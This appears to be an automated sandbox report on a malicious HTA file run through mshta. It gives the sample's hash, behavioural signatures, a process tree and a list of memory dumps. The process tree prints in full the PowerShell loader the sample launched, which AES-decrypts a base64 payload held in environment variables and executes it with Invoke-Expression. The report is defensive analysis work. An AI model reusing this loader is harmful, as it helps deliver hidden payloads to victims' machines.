Analysis
- max time kernel
148s - max time network
129s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
07/07/2026, 12:15
General
- Target makemybestgoodpartwithbetterwayscomingforme.hta
- Size 638KB
- Sample260707-pfa64ahv4v
- SHA256 4ae02363e9dc34ff7a7370b7569fe84c54d7fb2839ffb1be194138d6867b56e5
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\makemybestgoodpartwithbetterwayscomingforme.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "try { $enteromphalus = [System.Text.Encoding]::UTF8.GetBytes('CqLSfGXFZzyy6nwI'); if ($enteromphalus.Length -lt 32) { $enteromphalus = $enteromphalus + (0..(31 - $enteromphalus.Length)) }; $isotopomers = [Convert]::FromBase64String($env:P1+$env:P2); $sautellus = $isotopomers[0..15]; $pamphletary = $isotopomers[16..($isotopomers.Length-1)]; $bedsitter = [System.Security.Cryptography.Aes]::Create(); $bedsitter.Key = $enteromphalus; $bedsitter.IV = $sautellus; $davidsonite = $bedsitter.CreateDecryptor(); $tennu = $davidsonite.TransformFinalBlock($pamphletary, 0, $pamphletary.Length); $kvetched = [System.Text.Encoding]::UTF8.GetString($tennu); Invoke-Expression $kvetched; } catch {}"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2404-0-0x00007FFB2FEDF000-0x00007FFB2FEE0000-memory.dmp
memory/2404-4-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-3-0x0000021D7F4D0000-0x0000021D7F4F2000-memory.dmp
memory/2404-5-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-6-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-7-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-8-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-9-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-10-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-11-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-12-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-13-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-14-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-15-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp
memory/2404-18-0x00007FFB2FD50000-0x00007FFB306F4000-memory.dmp